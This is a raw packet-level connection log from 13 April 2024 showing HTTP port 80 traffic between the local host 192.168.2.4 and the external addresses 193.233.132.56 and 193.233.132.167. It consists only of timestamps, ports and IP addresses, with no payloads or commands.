Apr 13, 2024 20:21:07.605796099 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605830908 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605849981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605866909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605881929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605884075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605906963 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605907917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605907917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605925083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605926991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605946064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605952024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605964899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605969906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.605984926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.605992079 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606004953 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606009007 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606024981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606024981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606041908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606043100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606060982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606074095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606080055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606093884 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606098890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606118917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606118917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606137037 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606178045 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606195927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606211901 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606226921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606230974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606251001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606256008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606256008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606270075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606273890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606292009 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606307030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606338024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606358051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.606389046 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.606409073 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.661242008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661278009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661297083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661314964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661333084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661365032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661382914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661402941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661421061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661421061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661421061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661421061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661421061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661421061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661421061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661421061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661437988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661459923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661463976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661463976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661477089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661478043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.661495924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.661521912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.663543940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.663563967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.663580894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.663598061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.663602114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.663610935 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.663651943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.663669109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.663980007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.663999081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664016008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664024115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664031982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664036036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664052010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664072037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664074898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664088964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664096117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664107084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664124012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664124012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664141893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664150000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664160013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664174080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664177895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664196014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664200068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664213896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664228916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664249897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664252043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664283037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664283037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664318085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664335966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664355040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664364100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664372921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664376974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664391041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664411068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664419889 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664427996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664444923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664447069 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664463997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664473057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664480925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664498091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664515018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664525986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664534092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664551020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664565086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664567947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664585114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664586067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664603949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664614916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664622068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664639950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664640903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664673090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664686918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664690018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664724112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664741039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664742947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664760113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664762974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664788008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664807081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664824009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664828062 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664841890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664860010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664870024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664891005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664900064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664912939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664916992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664941072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664952993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.664964914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664983034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.664999962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665005922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665016890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665018082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665039062 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665050030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665081024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665081024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665108919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665127039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665143967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665157080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665160894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665169001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665179014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665196896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665204048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665215015 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665225029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665231943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665247917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665261984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665271044 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665280104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665303946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665312052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665328979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665344000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665353060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665360928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665378094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.665385008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665395975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.665416956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.933286905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933315992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933336973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933382988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933383942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933587074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933619022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933638096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933639050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933656931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933660984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933676958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933677912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933696032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933696032 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933721066 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933721066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933737993 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933741093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933759928 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933760881 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.933784008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.933800936 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939029932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939074993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939091921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939255953 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939440012 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939471006 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939491987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939502954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939510107 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939522028 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939529896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939538956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939553022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939564943 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939564943 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939572096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939589024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939589977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939608097 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939609051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939630032 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939631939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939649105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939651966 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939667940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939668894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939685106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939688921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939709902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939723015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939728975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939748049 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939766884 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939773083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939773083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939773083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939786911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939805031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939805984 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939805031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939826012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939830065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939850092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939889908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.939934969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939954996 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.939985991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940006018 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940232992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940256119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940274000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940280914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940293074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940309048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940309048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940313101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940332890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940332890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940350056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940351009 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940370083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940370083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940391064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940391064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940409899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940411091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940429926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940429926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940448999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940454960 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940471888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940484047 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940484047 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940489054 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940506935 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940515041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940526962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940546989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940551996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940551996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940567970 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940572023 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940588951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940589905 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940608025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940613985 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940628052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940639973 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940640926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940646887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940669060 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940670013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940684080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940686941 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940706015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940722942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940722942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940725088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940742970 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940746069 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940766096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940784931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940789938 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940790892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940803051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940809965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940823078 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940834045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940844059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940860987 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940860987 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940862894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940881968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940884113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940897942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.940901041 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940920115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.940938950 CEST	80	49738	193.233.132.56	192.168.2.4
